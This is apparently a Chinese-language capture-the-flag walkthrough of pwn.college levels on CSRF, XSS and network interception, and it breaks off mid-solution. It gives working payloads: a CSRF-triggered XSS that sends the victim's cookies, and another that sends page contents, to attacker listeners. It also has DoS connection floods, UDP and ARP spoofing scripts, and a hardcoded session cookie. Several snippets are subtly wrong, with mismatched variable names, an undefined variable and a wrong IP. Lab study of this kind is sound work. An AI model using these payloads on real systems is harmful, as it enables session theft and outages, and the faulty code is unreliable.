@app.route("/login", methods=["POST"])
def challenge_login():
# 从表单中获取用户名和密码
username = flask.request.form.get("username")
password = flask.request.form.get("password")
# 参数校验
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
# https://www.sqlite.org/lang_select.html
# 使用参数化查询验证用户名和密码
user = db.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password)
).fetchone()
# 如果未查询到用户,返回 403
if not user:
flask.abort(403, "Invalid username or password")
# 登录成功,将用户名写入 session
flask.session["username"] = username
# 重定向到主页
return flask.redirect("/")
# 保存草稿接口
@app.route("/draft", methods=["POST"])
def challenge_draft():
# 必须先登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# 获取帖子内容
content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
# 插入一条帖子记录
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(
content,
flask.session.get("username"),
bool(flask.request.form.get("publish"))
)
)
return flask.redirect("/")
# 发布接口:将当前用户的所有帖子设为已发布
@app.route("/publish", methods=["GET"])
def challenge_publish():
# 必须先登录
if "username" not in flask.session:
flask.abort(403, "Log in first!")
# https://www.sqlite.org/lang_update.html
# 将当前用户的帖子全部标记为已发布
db.execute(
"UPDATE posts SET published = TRUE WHERE author = ?",
[flask.session.get("username")]
)
return flask.redirect("/")
# 主页接口
@app.route("/", methods=["GET"])
def challenge_get():
# 页面基础 HTML
page = "<html><body>\nWelcome to pwnpost, now XSS-free (for admin, at least)!<hr>\n"
username = flask.session.get("username", None)
# 如果是 admin 登录
if username == "admin":
# 管理员不查看任何帖子,防止 XSS
page += """<b>To prevent XSS, the admin does not view messages!</b>"""
# 如果是普通已登录用户
elif username:
# 显示发帖表单
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br><a href=publish>Publish your drafts!</a><hr>
"""
# 遍历所有帖子
for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
# 已发布的帖子显示完整内容
page += post["content"] + "<hr>\n"
else:
# 草稿只显示前 12 个字符
page += (
f"""(Draft post, showing first 12 characters):<br>"""
f"""{post["content"][:12]}<hr>"""
)
# 未登录用户
else:
# 显示登录表单
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""
return page + "</body></html>"
# 设置 Flask session 的密钥
app.secret_key = os.urandom(8)
# 设置服务器名(用于 Host 校验)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 在 challenge.localhost 的 80 端口启动服务
app.run("challenge.localhost", 80)
CSRF 2 跨站请求伪造2
回想一下,源自JavaScript的请求会遇到同源策略,这使我们在上一关的CSRF攻击稍微复杂了一些。你已经知道了如何在不使用JavaScript的情况下发起GET请求。你能对POST请求做同样的事情吗?
回想一下,典型的POST请求要么是由JavaScript发起的请求(受同源策略限制,不好用),要么是HTML表单提交的结果。你需要使用后者。当然,/challenge/victim不会为你点击提交按钮——你必须自己想办法解决这个问题(提示:JavaScript可以点击那个按钮;请求仍然会算作来自表单!)。
去用POST方式CSRF攻击获取flag吧!
index.html
<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.localhost/publish" method="POST" id="csrf-form">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
查看解析
同上关,改为POST请求即可
CSRF 3 跨站请求伪造3
让我们开始把一些东西结合起来……CSRF攻击可以导致许多后果,包括其他类型的注入!利用本关的CSRF攻击触发一个XSS,并在http://challenge.localhost的某个地方调用alert("PWNED")!
提示: 你很可能想在http://hacker.localhost:1337页面上使用JavaScript,通过URL参数发送带有<script>标签的GET请求。小心:如果你在HTML中编码这个JavaScript,你的<script>标签的字符串(URL参数)中会包含</script>这个词。这个字符串</script>实际上会被你的浏览器解析为你页面实际<script>标签的结束标签,然后一切都会乱套。
如果你遇到这个错误,我们建议在运行于http://hacker.localhost:1337的JavaScript中动态构建那个字符串(例如,"</s"+"cript>")。
index.html
<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.localhost:80/ephemeral" method="GET" id="xss-form">
<input type="hidden" name="msg" value="<script>alert('PWNED')</script>">
</form>
<script>
document.getElementById('xss-form').submit();
</script>
</body>
</html>
查看解析
这一次需要admin直接访问/ephemeral输入flag
/challenge/victim会检查是否有alert弹窗出现,如果alert触发且来源是challenge域(伪装得像一些迷惑受害者),则输出flag
@app.route("/ephemeral", methods=["GET"])
def challenge_ephemeral():
return f"""
<html><body>
<h1>You have received an ephemeral message!</h1>
The message: {flask.request.args.get("msg", "(none)")} # 直接嵌入用户输入,存在XSS
<hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form>
</body></html>
"""
CSRF 4 跨站请求伪造4
好的,既然你已经弄清楚了从CSRF到XSS的利用链,那么就来实施一次CSRF攻击,导致XSS,进而导致cookie泄露,从而允许你登录并获取flag!
提示: 你的解决方案可能有两层JavaScript:一层运行在你的http://hacker.localhost:1337页面上,另一层运行在反射型XSS中。我们建议首先通过手动触发带有该输入的页面来测试后者,并查看结果。此外,由于这段代码可能很复杂,请非常小心URL编码。例如,+在大多数URL编码器中不会被编码为%2b,但它在URL中是一个特殊字符,会被解码为空格(``)。不用说,如果你在JavaScript中使用+,这可能会导致彻底的混乱。
index.html
<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.localhost:80/ephemeral" method="GET" id="xss-form">
<input type="hidden" name="msg" value="<script>fetch('http://localhost:1337/?cookie=' + encodeURIComponent(document.cookie))</script>">
</form>
<script>
document.getElementById('xss-form').submit();
</script>
</body>
</html>
查看解析
admin通过访问CSRF页面导致XSS劫持,从而得到admin的cookie用于登录
CSRF 5 跨站请求伪造5
本关卡关闭了允许你从JavaScript窃取cookie的漏洞。cookie有一个特殊的设置叫做httponly,当这个设置启用时,cookie只能通过HTTP头访问,而不能通过JavaScript访问。这是一种安全措施,旨在防止你一直在做的那种cookie窃取。幸运的是,Flask默认的session cookie被设置为httponly,因此你无法通过JavaScript窃取它。
那么,现在你该如何用你的CSRF-to-XSS把戏来获取flag呢?幸运的是,你并不需要cookie!一旦你在页面内获得了JavaScript执行权限,你就可以自由地fetch()其他页面,而不用担心同源策略,因为你现在处于同一个源中。利用这一点,阅读包含flag的页面,然后获胜!
index.html
<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.localhost:80/ephemeral" method="GET" id="xss-form">
<input type="hidden" name="msg" value="<script>
fetch('/').then(r => r.text()).then(t => {
fetch('http://localhost:1234/?leak=' + encodeURIComponent(t));
});
</script>">
</form>
<script>
document.getElementById('xss-form').submit();
</script>
</body>
</html>
查看解析
这一次无法直接读取cookie,但可以通过XSS在目标域执行代码
因此使用fetch()访问同源资源,读取包含flag的页面
Intercepting Communication 拦截通信
Connect 连接
从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2。
一个很好的方法是使用 nc 命令(发音为 "netcat"),它允许你从命令行打开网络连接。例如,要连接到端口 4242 上的远程主机 10.0.0.42,你可以运行:
nc 10.0.0.42 4242
查看解析
/challenge/run
nc 10.0.0.2 31337Send 发送
从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2,并发送消息:Hello, World!。
和之前一样,你会想使用 netcat 命令。你会注意到 netcat 会挂起(例如,你不会立即返回 shell 提示符),等待连接关闭。你可以像处理大多数挂起的进程一样,按 Ctrl-C 来终止进程。
但在这个挑战中,你需要向远程主机发送一条消息。如果你在终端中输入该消息,不会立即发生任何事情。这是因为你的终端默认会缓冲你键入的输入,直到你按下 Enter!输入消息后按 Enter,一个包含整个消息的数据包将被发送到远程主机。
查看解析
/challenge/run
nc 10.0.0.2 31337
Hello, World!Shutdown 关闭
从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2,然后关闭连接。
有时连接的另一端希望等待你完成发送所有数据,然后再向你发送回数据。想象这样一种协议:客户端可能需要发送大量数据,持续很长时间,然后服务器才能用最终结果进行响应。在这种情况下,在协议中预先确定总共要发送多少数据可能没有意义,因为客户端可能一开始不知道需要发送多少数据。我们如何处理这种情况?
一种选择是让客户端在最后发送一个数据包,内容就是"END"。但网络数据包可能很复杂,不能保证网络不会将它们拆分或合并。或者,如果你想在数据中发送"END"怎么办?
Netcat 是一个简单的工具,它将标准输入的数据转换为网络数据包,反之亦然,将网络数据包转换为标准输出。那么,如何用 netcat 以这种方式关闭网络连接呢?你执行等效的文件操作:关闭标准输入!在交互式终端会话中,你可以通过按 Ctrl-D 来实现。
不幸的是,netcat 默认可能不会这样做。请查看 netcat 的手册页(man nc),看看是否有办法配置 netcat,使其在关闭标准输入(EOF)后关闭网络连接。
查看解析
/challenge/run
nc -N 10.0.0.2 31337
这样通过按 `Ctrl-D` 来实现关闭终端Listen 监听

从你的主机 10.0.0.1,监听端口 31337 上来自远程主机 10.0.0.2 的连接。
一旦建立连接,该连接是双向的,这意味着双方都可以发送和接收数据。然而,要实际建立连接,一方必须监听传入的连接,而另一方必须连接到该监听器。这一次,与之前不同,你是监听者。
请查看 netcat 的手册页(man nc),了解如何监听传入连接。
查看解析
/challenge/run
nc -l 31337
使用`-l`表示“监听”(listen),使用这个选项,netcat 将在指定的端口上等待连接,而不是尝试连接到远程主机Scan 1 扫描1
在这个挑战中,你将尝试连接到远程主机。你必须首先运行 /challenge/run 才能访问网络:/challenge/run 将让你进入一个具有网络访问权限的主机上的 shell。从你的主机 10.0.0.1,连接到 10.0.0.0/24 子网中某个未知的远程主机,端口 31337。
幸运的是,这个子网上只有 256 个可能的主机,所以你可以全部尝试一下!
你可以使用的一个简单工具是 ping。如果你"ping"一个主机,并且它在线,你会得到响应;否则,ping 会超时并警告你无法到达该主机。
例如,尝试 ping 你自己:
ping 10.0.0.1
这将持续 ping 直到你按 Ctrl-C 停止它。
你也可以尝试 ping 一个你知道离线的主机:
timeout 10 ping 10.0.0.2
这将运行 ping(最多)10 秒,但在超时之前你应该会看到 ping 消息,指示主机不可达。
与大多数命令一样,你也可以运行 man ping 来查看 ping 的手册页。
将此视为练习 shell 脚本技能的机会!你当然可以手动 ping 这 256 个主机,但也许使用 for 循环会更容易!
for i in $(seq 10); do
echo $i
done
重要: 不要忘记运行 /challenge/run 来访问网络,否则你将找不到远程主机。
查看解析
/challenge/run
for i in $(seq 1 255); do ping -c 1 -W 1 10.0.0.$i > /dev/null 2>&1 && echo "10.0.0.$i"; done;
nc 10.0.0.25 31337Scan 2 扫描2
从你的主机 10.0.0.1,连接到 10.0.0.0/16 子网中某个未知的远程主机,端口 31337。
现在我们的网络开始变大了!这个子网上有 65,536 个可能的主机,因此手动查找远程主机真的会非常痛苦。即使是一个基本的 for 循环,每秒处理 10 个主机,也需要一个多小时才能完成!
我们当然可以通过 shell 脚本来变得更高级(并行化等),但现在,让我们考虑一个专门为这类任务设计的标准工具:nmap。
nmap 是一个强大的网络扫描工具,可用于发现计算机网络上的主机和服务。例如,你可以使用以下命令扫描 10.0.0.0/30 上哪些主机在线(以及这些主机上运行的流行服务):
nmap 10.0.0.0/30
在大约 15 秒内,你应该会看到你的主机 10.0.0.1 如预期一样在线。
在进行网络扫描时,必须注意对网络的潜在影响。在默认设置下,nmap 试图至少保持一定的礼貌,不会用大量数据包完全淹没网络。尽管如此,运行网络扫描仍然可能导致网络拥塞,甚至触发安全警报,因此了解潜在影响非常重要。因此,你不应该扫描你不拥有或没有权限扫描的网络!
在这个网络中,我们可以更激进一点,扫描时可以更"粗鲁"一些。你需要查看 nmap 的手册页(man nmap),了解如何加快扫描过程:你特别感兴趣的是每秒发送的数据包数量。禁用一些默认扫描,例如 DNS 解析,也可以加快扫描过程。如有疑问,请使用 -v 查看更多关于 nmap 当前正在做什么的信息。
查看解析
/challenge/run
用更方便的nmap来扫描
nmap 10.0.0.0/24
nc 10.0.0.25 31337Monitor 1 监控1
监控来自远程主机的流量。你的主机已经在端口 31337 上接收流量。
提示: 你可能想使用 Wireshark 工具。这在 dojo 上已安装,你可以从 10.0.0.1 客户端的终端启动它!确保从那里启动:从其他地方(如工作区的其他终端)启动,Wireshark 将不会在正确的主机上运行!Wireshark 可能需要很长时间才能启动。如果你等待超过一分钟,那么可能出问题了...
查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp协议的数据包中收到data数据
Monitor 2 监控2
监控来自远程主机的慢速流量。你的主机已经在端口 31337 上接收流量。
查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp流中收到data数据
Sniffing Cookies 嗅探 Cookie
你已经学会了嗅探流量,但知识只是行动的开始。现在是将其应用于实际安全场景的时候了。窃取管理员的 cookie,并 GET 标志!
提示: 你可以使用完整的 HTTP 工具集,就像你在 Talking Web 中学到的那样,来使用窃取的 cookie!但无论你做什么,请确保在 10.0.0.1 终端中进行,以确保在正确的主机上运行!你可以在后台运行 Wireshark 或任何其他需要的工具(正如你在 The Linux Luminarium 中学到的那样)。
查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp流中获取到cookie数据
使用cookie数据登录10.0.0.2
python
import requests
cookies = {
"session": "eyJ1c2VyIjoiYWRtaW4ifQ.aUOgNg.QDxDhEbdMDJZIMsPlZKXFaUW2qo"
}
responnse = requests.get("http://10.0.0.2/flag", cookies = cookies)
print(response.text)
Network Configuration 网络配置
配置你的网络接口。远程主机 10.0.0.2 正在尝试与端口 31337 上的远程主机 10.0.0.3 通信。

查看解析
我们首先`tcpdump -i any` 用于实时监控网络流量,捕获和查看从远程主机 10.0.0.3 发送到端口 31337 的所有数据包(也能用wireshark进行分析)`-i`指定要监控的网络接口,`any`表示监听系统中所有可用的网络接口
我们可以发现每隔一段时间 10.0.0.3 都会发送ARP包来寻找 10.0.0.2
接下来将指定的 IP 地址分配给网络接口 eth0,使该接口能够在指定的网络上进行通信
`ip address add 10.0.0.3/16 dev eth0`通过将 10.0.0.2 配置为该接口的 IP 地址,这样我们的主机就能够与 10.0.0.3 进行通信
然后我们监听31337端口,等待 10.0.0.3 给我们传flag
nc -l 31337Firewall 1 防火墙1
你的主机 10.0.0.1 正在接收端口 31337 上的流量;阻止该流量。
查看解析
/challenge/run
iptables -A INPUT -p tcp --dport 31337 -j DROP
-A:表示 Append(追加),将这条规则添加到指定链的末尾。
INPUT:指定规则作用于 INPUT 链。INPUT 链负责处理发往本机(目标地址是本机)的数据包。
-p:指定协议类型
--dport:指定 目标端口
-j:表示 Jump(跳转),指定匹配规则后的动作。
DROP:直接丢弃数据包,不给发送方任何响应。Firewall 2 防火墙2
你的主机 10.0.0.1 正在接收端口 31337 上的流量;阻止该流量,但仅阻止来自远程主机 10.0.0.3 的流量,你必须允许来自远程主机 10.0.0.2 的流量。
查看解析
/challenge/run
iptables -A INPUT -p tcp -s 10.0.0.3 --dport 31337 -j DROP
-s 指定 目标地址Firewall 3 防火墙3
从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2。这一次,我们已阻止到端口 31337 的出站流量,因此你必须首先允许它。
查看解析
/challenge/run
iptables -L OUTPUT -v -n --line-numbers
-L:List(列出) 规则
OUTPUT:仅列出 OUTPUT 链的规则
-v(verbose,详细模式)
-n(numeric,数字格式)
--line-numbers:显示每条规则的行号/序号
iptables -I OUTPUT -p tcp -d 10.0.0.2 --dport 31337 -j ACCEPT
-I(插入到开头)确保这条规则最先被匹配
nc 10.0.0.2 31337
Denial of Service 1 拒绝服务1
客户端 10.0.0.3 正在与端口 31337 上的服务器 10.0.0.2 通信。拒绝此项服务。
查看解析
/challenge/run
对服务器进行持续连接,我们与10.0.0.2保持连接导致10.0.0.3无法与其连接
python
import socket
s = socket.create_connection(("10.0.0.2", 31337))
input("Holding connections open...\n")
1. 导入 socket 模块
2. 尝试建立到 10.0.0.2:31337 的 TCP 连接
3. 如果连接成功,显示提示信息并等待用户输入
4. 用户按回车后,程序结束,连接自动关闭
Denial of Service 2 拒绝服务2
客户端 10.0.0.3 正在与端口 31337 上的服务器 10.0.0.2 通信。拒绝此项服务。
这一次,服务器为每个客户端连接 fork 一个新进程。
查看解析
/challenge/run
对服务不断进行DOS攻击(100次,脚本来源于https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Intercepting%20Communication)
python
import socket
import time
target = ("10.0.0.2", 31337)
sockets = []
for i in range(100):
try:
s = socket.create_connection(target, timeout=1)
sockets.append(s)
print(f"Held {i} connections")
time.sleep(0.05)
except Exception as e:
print("Error:", e)
break
input("Holding connections open...\n")
Denial of Service 3 拒绝服务3
客户端 10.0.0.3 正在与端口 31337 上的服务器 10.0.0.2 通信。拒绝此项服务。
这一次,服务器为每个客户端连接 fork 一个新进程,并将每个会话限制为 1 秒。
查看解析
/challenge/run
对服务不断进行DOS攻击(100次,脚本来源于https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Intercepting%20Communication)
python
import socket
import time
import threading
def spam():
while True:
try:
s = socket.create_connection(("10.0.0.2", 31337), timeout=1)
time.sleep(1)
s.close()
except Exception:
pass
time.sleep(0.01)
for _ in range(500):
threading.Thread(target=spam, daemon=True).start()
# Keep main thread alive
while True:
time.sleep(1)
Ethernet 以太网协议
手动发送以太网数据包。数据包应具有 Ether type=0xFFFF。数据包应发送到远程主机 10.0.0.2。
查看解析
为了构造以太网数据包,我们首先要获取我们的物理地址`ip a`
python
from scapy.all import * #这行代码导入Scapy库中的所有功能和类,以便在后续的代码中使用。这意味着可以直接使用Scapy的各种功能而不需要每次都加上scapy.前缀。
sendp(Ether(src="《你的物理地址》", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")
# sendp() 函数用于发送以太网层的数据包;
#Ether()一个构造以太网帧的函数,用于定义以太网帧的各个字段,src指定源 MAC 地址,type指定以太网类型,表示上层协议的类型;
#`iface`用于指定要通过哪个网络接口发送数据包
也可以直接使用`scapy`库:
scapy
sendp(Ether(src="《你的物理地址》", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")
IP 网络协议
手动发送 Internet 协议数据包。数据包应具有 IP proto=0xFF。数据包应发送到远程主机 10.0.0.2。
查看解析
为了构造以IP数据包,我们首先要获取我们的物理地址`ip a`
python
from scapy.all import *
sendp(Ether(src="《你的物理地址》")/IP(proto=0xFF,src='10.0.0.1',dst='10.0.0.2'),iface='eth0')
#`/IP()`中`/`是一种使用操作符重载的语法,其中 Ether(以太网层)是外层,而 IP(网络层)是内层。`IP()`是一个构造 IP 数据包的函数,设置源和目标 IP 地址。以太网帧作为数据链路层的协议,会包含上层协议(如 IP 数据包)的信息;
#proto=0xFF 指定 IP 数据包的协议字段
也可以直接使用`scapy`库:
scapy
sendp(Ether(src="《你的物理地址》", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2", proto=0xFF), iface="eth0")
TCP 传输控制协议
手动发送传输控制协议数据包。数据包应具有 TCP sport=31337, dport=31337, seq=31337, ack=31337, flags=APRSF。数据包应发送到远程主机 10.0.0.2。
查看解析
python
from scapy.all import *
sendp(
Ether(
src=get_if_hwaddr("eth0"))
/ IP(
src="10.0.0.1", dst="10.0.0.2")
/ TCP(
sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF")
, iface="eth0")
#sport 设置源端口
#dport 设置目标端口
#seq 设置 TCP 的序列号
#ack 设置 TCP 的确认号
#flags="APRSF" 设置 TCP 标志位,组合了以下标志:
#A: ACK(确认)
#P: PSH(推送)
#R: RST(重置)
#S: SYN(同步)
#F: FIN(结束)
或者
scapy
sendp(Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")
.TCP Handshake TCP 握手
手动执行传输控制协议握手。初始数据包应具有 TCP sport=31337, dport=31337, seq=31337。握手应与远程主机 10.0.0.2 进行。

查看解析
python
from scapy.all import *
results, unanswered =
srp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/IP(
src="10.0.0.1", dst="10.0.0.2")
/TCP(
sport=31337, dport=31337, seq=31337, flags="S")
, iface="eth0")
#results 是接收到的响应列表,unanswered 是未收到响应的数据包列表;
#srp()函数用于发送并接收数据包,适合需要响应的场景;
#dst="ff:ff:ff:ff:ff:ff"说明目标 MAC 地址为广播地址,表示发送给网络中的所有设备。
query, answer = response[0][0] #从 response 中提取第一个响应。
#query 代表发送的数据包,answer 代表收到的响应数据包。
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/IP(
src="10.0.0.1", dst="10.0.0.2")
/TCP(
sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A")
, iface="eth0")
#seq=answer["TCP"].ack 将序列号设置为收到的 ACK。
#ack=answer["TCP"].seq + 1 设置确认号为接收到的序列号加 1。
#flags="A" 设置 TCP 标志为 ACK(确认)。
或者
scapy
response = srp(Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, flags="S"), iface="eth0")
query, answer = response[0][0]
sendp(Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A"), iface="eth0")UDP 用户数据报协议
你现在是 TCP 专家了,如你所知,TCP 是一种很好的协议,适用于一次一个连接地通信。TCP 稳定可靠,但相当复杂。所有这些复杂性,当然,都是以性能为代价的:所有的握手、ACK 等等都需要时间。
作为解决方案,互联网的发明者想出了 UDP:用户数据报协议。UDP 是一个简单得多的协议。与 TCP 跟踪大量信息不同,UDP 头部仅包含源端口、目标端口、长度和数据包校验和。超级简单!
然而,这种简单性也需要一些权衡。没有 TCP 的功能,UDP 缺乏"连接"的概念。每个数据包不固有地链接到任何数据包,如果需要这种链接,网络应用程序本身必须实现它。
这使得编写 UDP 服务器和客户端有点奇怪。使用 UDP 套接字时,套接字 s 不再有 s.listen 和 s.accept:你只需 s.recvfrom 来获取数据(返回接收到的字节和发送方的地址,从 UDP 数据包中获取)和 s.sendto(接受要发送的字节和发送方的地址)。因此,一个服务器循环可以同时处理多个客户端交互,但这也很容易以不安全的方式混淆事物。
在这个挑战中,你将建立你的第一个 UDP 连接。从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2,并发送消息:Hello, World!\n。你可以使用 Python 或 netcat,但我们建议使用前者,因为它在未来的挑战中会更有用。
查看解析
scapy
sr1(IP(dst="10.0.0.2") / UDP(dport=31337) / Raw(load="Hello, World!\n"))
sr1():发送并接受1个响应数据包UDP 2 用户数据报协议2
虽然我们没有为 TCP 探讨这一点,但除了选择目标端口外,TCP 和 UDP 都可以设置它们的源端口。我们将在这里练习 --- 你可以使用套接字上的 s.bind 设置源端口,就像服务器设置监听端口一样。阅读 /challenge/run 的源代码,看看你需要设置什么源端口!
注意: 你必须在发送数据之前设置源端口!否则,Linux 将选择一个随机的源端口(当不调用 bind 时的默认行为)。
查看解析
scapy
sr1(IP(dst="10.0.0.2") / UDP(sport=31338, dport=31337) / Raw(load="Hello, World!\n"))
UDP Spoofing 1 UDP 欺骗1
UDP 有两个危险:首先,它经常用在那些为了性能而走捷径的地方。其次,它迫使程序员显式地跟踪会话。这种组合可能导致安全问题。
在这个挑战中,连接的一方可能会将非受信任的连接误认为是受信任的连接,并打印标志。你能触发这种混淆吗?
注意: 在这个关卡中,当你触发混淆时,标志将直接打印到控制台。我们稍后会探讨如何实际地将其窃取出来。
题目关键源码:
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message.strip() == b"ACTION?":
server_socket.sendto(b"NONE", (client_host, client_port))
except ConnectionError:
continue
class ClientHost(Host):
def entrypoint(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client_socket.bind(("0.0.0.0", 31338))
while True:
time.sleep(1)
try:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
except (ConnectionError, ValueError):
continue
查看解析
客户端定期通过UDP向服务器发送“ACTION?”,当服务器收到`FLAG`,它将实际的flag发送到该地址
我们伪造10.0.0.3客户端的请求发送给服务器10.0.0.2
scapy
send(IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG"))
UDP Spoofing 2 UDP 欺骗2
TCP 提供的功能和 UDP 的极简特性之间存在相当大的差距。有时,开发人员想要一些这些功能,最终在 UDP 之上仅重新实现他们需要的那些功能。这导致了一些奇怪的情况,例如能够触发到其他服务器的出站流量,具有潜在的拒绝服务放大应用。
这个挑战不是直接泄露标志,而是允许你将其重定向到另一个服务器。你能在另一端捕获它吗?
提示: 你需要使用 UDP 服务器来实际接收标志(例如,使用 python 或 netcat),或者即使你没有监听服务器,也可以用 Wireshark 从网络上嗅探它!
题目关键源码:
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(("0.0.0.0", 31337))
while True:
try:
client_message, (client_host, client_port) = server_socket.recvfrom(1024)
if client_message.strip() == b"ACTION?":
server_socket.sendto(b"NONE", (client_host, client_port))
except ConnectionError:
continue
class ClientHost(Host):
def entrypoint(self):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
time.sleep(1)
try:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
except (ConnectionError, ValueError):
continue
查看解析
客户端通过传输数据`FLAG:《IP地址》:《端口》`得到flag
我们伪造10.0.0.3客户端的请求发送给服务器10.0.0.2,并将响应包发送给10.0.0.1:1234
首先监听
/challenge/run
nc -u -lvp 9999 &
# -u : UDP模式
scapy
send(IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG:10.0.0.1:9999"))
1.启动UDP监听器 (端口9999)
2.发送伪造的"FLAG:"消息
3.服务器收到伪造消息,解析目标地址
4.服务器发送flag到攻击者的监听器
5.在nc中看到flag
UDP Spoofing 3 UDP 欺骗3
当然,之前的欺骗之所以成功,是因为你知道客户端使用的源端口,从而能够伪造服务器的响应。实际上,这是一个非常著名的漏洞的核心,该漏洞存在于域名系统中,该系统负责将像 https://pwn.college 这样的主机名转换为相应的 IP 地址。该漏洞允许攻击者伪造 DNS 服务器的响应,并将受害者重定向到他们选择的 IP 地址!
对该漏洞的修复是随机化 DNS 请求发出的源端口。同样,此挑战不再将源端口绑定到 31338。你还能强制响应吗?
提示: 源端口每个套接字只设置一次,无论是在绑定的时候还是第一次 sendto 的时候。当你有一个你不知道的固定数字时,你该怎么办?
题目关键源码:
client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
message, (peer_host, peer_port) = client_socket.recvfrom(1024)
if peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
查看解析
由于不知道客户端使用的具体端口,需要暴力枚举所有可能的临时端口范围
首先监听
/challenge/run
nc -u -lvp 9999 &
python
from scapy.all import *
for port in range(32768, 61000):
pkt = IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=port) / Raw(load="FLAG:10.0.0.1:9999")
send(pkt, verbose=0)
UDP Spoofing 4 UDP 欺骗4
让我们提高一点难度:这个挑战会检查响应是否来自正确的服务器!幸运的是,UDP 比 TCP 更容易伪造。在 TCP 中,伪造服务器响应需要你知道序列号和一大堆其他不便猜测的信息。但 UDP 不是这样!
继续使用 scapy 制作服务器响应,就像你用 TCP 做过的那样,让我们看看标志飞起来吧!
题目关键代码:
if peer_host == "10.0.0.3" and peer_port == 31337 and message.startswith(b"FLAG"):
查看解析
与上一关相同,仅仅多了一个检验传输IP地址的功能
首先监听
/challenge/run
nc -u -lvp 9999 &
python
from scapy.all import *
for port in range(32768, 61000):
pkt = IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=port) / Raw(load="FLAG:10.0.0.1:9999")
send(pkt, verbose=0)
ARP 地址解析协议
手动发送地址解析协议数据包。该数据包应告知远程主机,IP 地址 10.0.0.42 可以在以太网地址 42:42:42:42:42:42 处找到。数据包应发送到远程主机 10.0.0.2。
查看解析
scapy
from scapy.all import *
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/ARP(op="is-at", psrc="10.0.0.24", hwsrc=42:42:42:42:42:42, pdst="10.0.0.2"), iface="eth0")
#发送一个 ARP 响应包(ARP Reply),通知网络中的设备,IP 地址 10.0.0.42 对应的 MAC 地址是42:42:42:42:42:42。这实际上是欺骗网络中的其他设备,使它们认为此设备是 10.0.0.42 的“合法”持有者。
Intercept 拦截
拦截来自远程主机的流量。远程主机 10.0.0.2 正在与端口 31337 上的远程主机 10.0.0.3 通信。
查看解析
首先获取10.0.0.2的MAC地址
scapy
